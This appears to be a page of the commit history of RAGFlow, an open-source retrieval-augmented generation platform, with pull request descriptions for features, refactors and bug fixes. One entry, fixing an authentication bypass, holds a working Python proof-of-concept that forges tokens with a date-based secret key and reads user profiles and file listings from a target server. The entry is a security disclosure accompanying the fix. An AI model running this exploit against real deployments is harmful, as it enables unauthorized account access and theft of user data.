Commit Graph

602 Commits

Author SHA1 Message Date
d4da6dce6e Feat: Add file management HTTP_API (#8395)
### What problem does this PR solve?

Add file management HTTP_API for operating files

### Type of change

- [x] New Feature (non-breaking change which adds functionality)
2025-07-01 09:51:53 +08:00
8801de2772 Refa: change mcp_client module to rag/utils/conn (#8578)
### What problem does this PR solve?

Change mcp_client module to rag/utils/conn.

### Type of change

- [x] Refactoring
2025-07-01 09:29:19 +08:00
0478f36e36 Feat: allow users to choose which MCP tools are enabled (#8519)
### What problem does this PR solve?

Allow users to choose which MCP tools are enabled.

### Type of change

- [x] New Feature (non-breaking change which adds functionality)
2025-06-27 10:23:34 +08:00
7dbe06f7d8 Refactor: remove useless initialize logic in list_doc (#8523)
### What problem does this PR solve?

Remove useless logic in a loop for list_doc

### Type of change

- [x] Refactoring
- [x] Performance Improvement
2025-06-27 10:23:08 +08:00
daf6c82066 fix: list index out of range (#8518)
### What problem does this PR solve?

stack:

```
2025-06-26 17:22:24,739 ERROR    1609 list index out of range
Traceback (most recent call last):
  File "/ragflow/.venv/lib/python3.10/site-packages/flask/app.py", line 880, in full_dispatch_request
    rv = self.dispatch_request()
  File "/ragflow/.venv/lib/python3.10/site-packages/flask/app.py", line 865, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)  # type: ignore[no-any-return]
  File "/ragflow/api/utils/api_utils.py", line 298, in decorated_function
    return func(*args, **kwargs)
  File "/ragflow/api/apps/sdk/session.py", line 472, in list_session
    print(conv["reference"][message_num])
IndexError: list index out of range

```


![图片](https://github.com/user-attachments/assets/93fe90a8-0434-4842-ba9f-bb5a995b498a)


### Type of change

- [ ] Bug Fix (non-breaking change which fixes an issue)
- [ ] New Feature (non-breaking change which adds functionality)
- [ ] Documentation Update
- [ ] Refactoring
- [ ] Performance Improvement
- [ ] Other (please describe):
2025-06-27 09:38:33 +08:00
d768130204 Fix: chunk number error after re-parsing (#8513)
### What problem does this PR solve?

Fix chunk number error after re-parsing. #8503.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-26 17:46:53 +08:00
d11cfd4e45 Fix: Add input validation to chunk creation endpoint (#8516)
### What problem does this PR solve?

- Include optional `tag_feas` field if present in request
- Add input validation for `important_kwd` and `question_kwd` to ensure
they are lists
- #8462

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-26 17:46:00 +08:00
0eb90e73a5 Feat: add MCP dashboard functionalities list_tools and test_tool (#8505)
### What problem does this PR solve?

Add MCP dashboard functionalities list_tools and test_tool.

### Type of change

- [x] New Feature (non-breaking change which adds functionality)
2025-06-26 13:52:01 +08:00
dac5bcdf17 Fix: Enforce default embedding model in create_dataset / update_dataset (#8486)
### What problem does this PR solve?

Previous:
- Defaulted to hardcoded model 'BAAI/bge-large-zh-v1.5@BAAI'
- Did not respect user-configured default embedding_model

Now:
- Correctly prioritizes user-configured default embedding_model

Other:
- Make embedding_model optional in CreateDatasetReq with proper None
handling
- Add default embedding model fallback in dataset update when empty
- Enhance validation utils to handle None values and string
normalization
- Update SDK default embedding model to None to match API changes
- Adjust related test cases to reflect new validation rules

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-25 16:41:32 +08:00
af6850c8d8 Feat: add MCP dashboard operations (#8460)
### What problem does this PR solve?

Add MCP server dashboard operations.

### Type of change

- [x] New Feature (non-breaking change which adds functionality)
2025-06-25 09:26:04 +08:00
382d2d0373 Refactor:Improve insert file logic (#8445)
### What problem does this PR solve?

before refactor
1. create file record
2. Add to blob

if have some execption at 2 the system db will have a file record but
not have related blob, which will introduce some bug.

after refactor
1. add to blob
2. create file record.

if 1 success but 2 failed just have a dirty blob in blob system, user
will not feel that



### Type of change


- [x] Refactoring
2025-06-24 13:17:22 +08:00
fd7ac17605 Feat: Scratch MCP tool calling support. (#8263)
### What problem does this PR solve?

This is a cherry-pick from #7781 as requested.

### Type of change

- [x] New Feature (non-breaking change which adds functionality)

Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
2025-06-23 17:45:35 +08:00
936a91c5fe Fix: code debug may corrupt by history answer (#8385)
### What problem does this PR solve?

Fix code debug may corrupt by history answer.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-20 14:23:02 +08:00
9077ee8d15 Fix: desc parameter parsing (#8362)
### What problem does this PR solve?

- Correct boolean parsing for 'desc' parameter in document_app.py to
properly handle string values

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-19 14:22:56 +08:00
c8b1790c92 Fix typo in dataset name length error message (#8351)
### What problem does this PR solve?

Fixes a minor grammar issue in a user-facing error message. The original
message said "large than" instead of the correct comparative form
"larger than". Just a quick fix I noticed while reading the code.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-19 09:54:30 +08:00
1b022116d5 Feat: wrap search app (#8320)
### What problem does this PR solve?

Wrap search app

### Type of change

- [x] New Feature (non-breaking change which adds functionality)
2025-06-18 16:45:42 +08:00
0a13d79b94 Refa: Implement centralized file name length limit using FILE_NAME_LEN_LIMIT constant (#8318)
### What problem does this PR solve?

- Replace hardcoded 255-byte file name length checks with
FILE_NAME_LEN_LIMIT constant
- Update error messages to show the actual limit value
- #8290

### Type of change

- [x] Refactoring

Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
2025-06-17 18:01:30 +08:00
64e281b398 Fix: Add validation for empty filenames in document_app.py (#8321)
### What problem does this PR solve?

- Add validation for empty filenames in document_app.py and trim
whitespace

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-17 15:53:41 +08:00
a3bebeb599 Fix: Enforce 255-byte filename limit (#8290)
### What problem does this PR solve?

- Add filename length validation (<=255 bytes) for document
upload/rename in both HTTP and SDK APIs
- Update error messages for consistency
- Fix comparison operator in SDK from '>=' to '>' for filename length
check

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-16 16:39:41 +08:00
f7074037ef Feat: Let number of task ahead be visible. (#8259)
### What problem does this PR solve?


![image](https://github.com/user-attachments/assets/d4ef0526-343a-426f-a85a-b05eb8b559a1)

### Type of change

- [x] New Feature (non-breaking change which adds functionality)
2025-06-13 17:32:40 +08:00
99725444f1 Fix: desc parameter parsing (#8229)
### What problem does this PR solve?

- Fix boolean parsing for 'desc' parameter in kb_app.py to properly
handle string values

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-12 19:17:47 +08:00
7fbbc9650d Fix: Move pagerank field from create to update dataset API (#8217)
### What problem does this PR solve?

- Remove pagerank from CreateDatasetReq and add to UpdateDatasetReq
- Add pagerank update logic in dataset update endpoint
- Update API documentation to reflect changes
- Modify related test cases and SDK references

#8208

This change makes pagerank a mutable property that can only be set after
dataset creation, and only when using elasticsearch as the doc engine.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-12 15:47:49 +08:00
d0c5ff04a6 Fix: Add pagerank validation for non-elasticsearch doc engines (#8215)
### What problem does this PR solve?

Validate that pagerank updates are only allowed when using elasticsearch
as the document engine. Return an error if pagerank is set while using a
different doc engine, preventing potential inconsistencies in document
scoring.

#8208

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-12 15:47:22 +08:00
cef587abc2 Fix: Add validation for dataset name in KB update API (#8194)
### What problem does this PR solve?

Validate dataset name in knowledge base update endpoint to ensure:
- Name is a non-empty string
- Name length doesn't exceed DATASET_NAME_LIMIT
- Whitespace is trimmed before processing

Prevents invalid dataset names from being saved and provides clear error
messages.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-12 11:37:25 +08:00
60c1bf5a19 Fix: duplicate knowledgebase name validation logic (#8199)
### What problem does this PR solve?

Change the condition from checking for >1 to >=1 when validating
duplicate knowledgebase names to properly catch all duplicates. This
ensures no two knowledgebases can have the same name for a tenant.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-12 09:46:57 +08:00
e87ad8126c Fix: Improve dataset name validation in KB app (#8188)
### What problem does this PR solve?

- Trim whitespace before checking for empty dataset names
- Change length check from >= to > DATASET_NAME_LIMIT for consistency

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-11 16:14:29 +08:00
e6f68e1ccf Fix: When List Kbs some times the total is wrong (#8151)
### What problem does this PR solve?
for kb.app list method when owner_ids the total calculate is wrong (now
will base on the paged result to calculate total)

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-10 11:34:30 +08:00
9c6c6c51e0 Fix: use jwks_uri from OIDC metadata for JWKS client (#8136)
### What problem does this PR solve?
Issue: #8051

The current implementation assumes JWKS endpoints follow the standard
`/.well-known/jwks.json` convention. This breaks authentication for OIDC
providers that use non-standard JWKS paths, resulting in 404 errors
during token validation.

Root Cause Analysis
- The OpenID Connect specification doesn't mandate a fixed path for JWKS
endpoints
- Some identity providers (like certain Keycloak configurations) use
custom endpoints
- Our previous approach constructed JWKS URLs by convention rather than
discovery

### Solution Approach
Instead of constructing JWKS URLs by appending to the issuer URI, we
now:
1. Properly leverage the `jwks_uri` from the OIDC discovery metadata
2. Honor the identity provider's actual configured endpoint

```python
# Before (fragile approach)
jwks_url = f"{self.issuer}/.well-known/jwks.json"

# After (standards-compliant)
jwks_cli = jwt.PyJWKClient(self.jwks_uri)  # Use discovered endpoint
```

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-10 10:16:58 +08:00
968ffc7ef3 Refa: dataset operations to simplify error handling (#8132)
### What problem does this PR solve?

- Consolidate database operations within single try-except blocks in the
methods

### Type of change

- [x] Refactoring
2025-06-09 13:29:56 +08:00
8b7c424617 Fix: Document.update() now refreshes object data (#8068)
### What problem does this PR solve?

#8067 

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-05 12:46:29 +08:00
de89b84661 Fix: Authentication Bypass via predictable JWT secret and empty token validation (#7998)
### Description

There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.

The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.


### Source - Sink Analysis

**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token

**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token

### Proof of Concept

```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys

def exploit_ragflow(target):
    # Generate token with predictable key
    daily_key = str(date.today())
    serializer = URLSafeTimedSerializer(secret_key=daily_key)
    malicious_token = serializer.dumps("")
    
    print(f"Target: {target}")
    print(f"Secret key: {daily_key}")
    print(f"Generated token: {malicious_token}\n")
    
    # Test endpoints
    endpoints = [
        ("/v1/user/info", "User profile"),
        ("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
    ]
    
    auth_headers = {"Authorization": malicious_token}
    
    for path, description in endpoints:
        print(f"Testing {description}...")
        response = requests.get(f"{target}{path}", headers=auth_headers)
        
        if response.status_code == 200:
            data = response.json()
            if data.get("code") == 0:
                print(f"SUCCESS {description} accessible")
                if "user" in path:
                    user_data = data.get("data", {})
                    print(f"  Email: {user_data.get('email')}")
                    print(f"  User ID: {user_data.get('id')}")
                elif "file" in path:
                    files = data.get("data", {}).get("files", [])
                    print(f"  Files found: {len(files)}")
            else:
                print(f"Access denied")
        else:
            print(f"HTTP {response.status_code}")
        print()

if __name__ == "__main__":
    target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
    exploit_ragflow(target_url)
```

**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials


**Version:** 0.19.0
@KevinHuSh @asiroliu @cike8899

Co-authored-by: nkoorty <amalyshau2002@gmail.com>
2025-06-05 12:10:24 +08:00
ab5e3ded68 Fix: DataSet.update() now refreshes object data (#8058)
### What problem does this PR solve?

#8057 

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-05 09:26:19 +08:00
b832372c98 Fix: /v1/conversation/completion KeyError: 'conversation_id' (#8037)
### What problem does this PR solve?

Close #8033

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-04 10:18:14 +08:00
b6f1cd7809 Fix: no kb selected for an assistant. (#8021)
### What problem does this PR solve?

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-03 17:42:16 +08:00
e64da8b2aa Fix: sdk can not update chat model (#8016)
### What problem does this PR solve?

#7791

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-06-03 15:22:26 +08:00
31f4d44c73 Update upload filename length limit from 128 to 256, which is aligned with os (#7971)
### What problem does this PR solve?

Change filename length limit from 128 to 256

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

Signed-off-by: Jin Hai <haijin.chn@gmail.com>
2025-05-30 14:25:59 +08:00
62611809e0 Fix: Add user_id when create Conversation (#7960)
### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/7940

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-05-30 13:11:41 +08:00
62de535ac8 Fix Bug: When performing the dify_retrieval, the metadata of the document was empty. (#7968)
### What problem does this PR solve?
When performing the dify_retrieval, the metadata of the document was
empty.


### Type of change

- [ ] Bug Fix (non-breaking change which fixes an issue)
2025-05-30 12:58:05 +08:00
f584f5c3d0 agents openai API add new way to get session_id (#7937)
### What problem does this PR solve?

SpringAI can only add session_id in metadata。so add new way to get
session_id from "id" or "metadata.id"

![image](https://github.com/user-attachments/assets/0c698ebb-2228-46d8-94c5-2a291b6f70bf)

### Type of change

- [x] New Feature (non-breaking change which adds functionality)
2025-05-29 13:31:17 +08:00
b95747be4c Fix: early return when update doc in sdk (#7907)
### What problem does this PR solve?

Fix early return when update doc. #7886

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-05-28 19:20:27 +08:00
4d835b7303 fix: resolve “has no attribute 'max_length'” error in keyword_extraction (#7903)
### What problem does this PR solve?

**Issue Description:**

When using the `/api/retrieval` endpoint with a POST request and setting
the `keyword` parameter to `true`, the system invokes the
`model_instance` method from `TenantLLMService` to create a `chat_mdl`
instance. Subsequently, it calls the `keyword_extraction` method to
extract keywords.

However, within the `keyword_extraction` method, the `chat` function of
the LLM attempts to access the `chat_mdl.max_length` attribute to
validate input length. This results in the following error:

```
AttributeError: 'SILICONFLOWChat' object has no attribute 'max_length'
```

**Proposed Solution:**

Upon reviewing other parts of the codebase where `chat_mdl` instances
are created, it appears that utilizing `LLMBundle` for instantiation is
more appropriate. `LLMBundle` includes the `max_length` attribute, which
should resolve the encountered error.



### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
- [ ] New Feature (non-breaking change which adds functionality)
- [ ] Documentation Update
- [ ] Refactoring
- [ ] Performance Improvement
- [ ] Other (please describe):
2025-05-28 10:58:06 +08:00
1f32e6e4f4 Fix: list out of boundary (#7843)
### What problem does this PR solve?

Close #7837
### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
2025-05-26 10:28:36 +08:00
2f4d803db1 Delete Corresponding Minio Bucket When Deleting a Knowledge Base (#7841)
### What problem does this PR solve?

Delete Corresponding Minio Bucket When Deleting a Knowledge Base
[issue #4113 ](https://github.com/infiniflow/ragflow/issues/4113)

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
- [x] New Feature (non-breaking change which adds functionality)
2025-05-26 10:02:51 +08:00
e166f132b3 Feat: change default models (#7777)
### What problem does this PR solve?

change default models to buildin models
https://github.com/infiniflow/ragflow/issues/7774

### Type of change

- [x] New Feature (non-breaking change which adds functionality)
2025-05-23 18:21:25 +08:00
fed1221302 Refa: HTTP API list datasets / test cases / docs (#7720)
### What problem does this PR solve?

This PR introduces Pydantic-based validation for the list datasets HTTP
API, improving code clarity and robustness. Key changes include:

Pydantic Validation
Error Handling
Test Updates
Documentation Updates

### Type of change

- [x] Documentation Update
- [x] Refactoring
2025-05-20 09:58:26 +08:00
6ed81d6774 Feat: Add OAuth state parameter for CSRF protection (#7709)
### What problem does this PR solve?

Add OAuth `state` parameter for CSRF protection:
- Updated `get_authorization_url()` to accept an optional state
parameter
- Generated a unique state value during OAuth login and stored in
session
- Verified state parameter in callback to ensure request legitimacy

This PR follows OAuth 2.0 security best practices by ensuring that the
authorization request originates from the same user who initiated the
flow.

### Type of change

- [x] New Feature (non-breaking change which adds functionality)
2025-05-20 09:40:31 +08:00
115850945e Fix:When you create a new API module named xxxa_api, the access route will become xxx instead of xxxa. For example, when I create a new API module named 'data_api', the access route will become 'dat' instead of 'data (#7325)
### What problem does this PR solve?

Fix:When you create a new API module named xxxa_api, the access route
will become xxx instead of xxxa. For example, when I create a new API
module named 'data_api', the access route will become 'dat' instead of
'data'
Fix:Fixed the issue where the new knowledge base would not be renamed
when there was a knowledge base with the same name

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

---------

Co-authored-by: tangyu <1@1.com>
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
2025-05-20 09:39:26 +08:00
0ebf05440e Feat: repair corrupted PDF files on upload automatically (#7693)
### What problem does this PR solve?

Try the best to repair corrupted PDF files on upload automatically.

### Type of change

- [x] New Feature (non-breaking change which adds functionality)
2025-05-19 14:54:06 +08:00
7df1bd4b4a When creating an assistant, no dataset is specified, a different default system promt is used (#7690)
### What problem does this PR solve?

- Updated the dialog settings function to add a default prompt
configuration for no dataset.
- The prompt configuration will be determined based on the presence of
`kb_ids` in the request.


### Type of change

- [ ] Bug Fix (non-breaking change which fixes an issue)
- [x] New Feature (Non-breaking change, adding functionality)
- [ ] Documentation Update
- [ ] Refactoring
- [ ] Performance Improvement
- [ ] Other (please describe):

---------

Co-authored-by: wenju.li <wenju.li@deepctr.cn>
2025-05-19 11:33:54 +08:00
b0275b8483 Fix: value too long error for chat name (#7697)
### What problem does this PR solve?

Hello, when I input a very long line in the chat input box, it will fail
with following error:

```
2025-05-17 16:11:26,004 ERROR    182558 value too long for type character varying(255)
Traceback (most recent call last):
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3291, in execute_sql
    cursor.execute(sql, params or ())
psycopg2.errors.StringDataRightTruncation: value too long for type character varying(255)


During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/var/home/sfc/Projects/ragflow/api/apps/conversation_app.py", line 68, in set_conversation
    ConversationService.save(**conv)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3128, in inner
    return fn(*args, **kwargs)
  File "/var/home/sfc/Projects/ragflow/api/db/services/common_service.py", line 145, in save
    return cls.save_n(**kwargs)
  File "/var/home/sfc/Projects/ragflow/api/db/services/common_service.py", line 139, in save_n
    sample_obj = cls.model(**kwargs).save(force_insert=True)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 6923, in save
    pk = self.insert(**field_dict).execute()
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 2011, in inner
    return method(self, database, *args, **kwargs)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 2082, in execute
    return self._execute(database)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 2887, in _execute
    return super(Insert, self)._execute(database)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 2598, in _execute
    cursor = self.execute_returning(database)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 2605, in execute_returning
    cursor = database.execute(self)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3299, in execute
    return self.execute_sql(sql, params)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3289, in execute_sql
    with __exception_wrapper__:
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3059, in __exit__
    reraise(new_type, new_type(exc_value, *exc_args), traceback)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 192, in reraise
    raise value.with_traceback(tb)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3291, in execute_sql
    cursor.execute(sql, params or ())
peewee.DataError: value too long for type character varying(255)
```

This PR fix it by truncate the `name` field in the `set_conversation`
method in the `conversation_app.py`.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
- [ ] New Feature (non-breaking change which adds functionality)
- [ ] Documentation Update
- [ ] Refactoring
- [ ] Performance Improvement
- [ ] Other (please describe):
2025-05-19 10:25:41 +08:00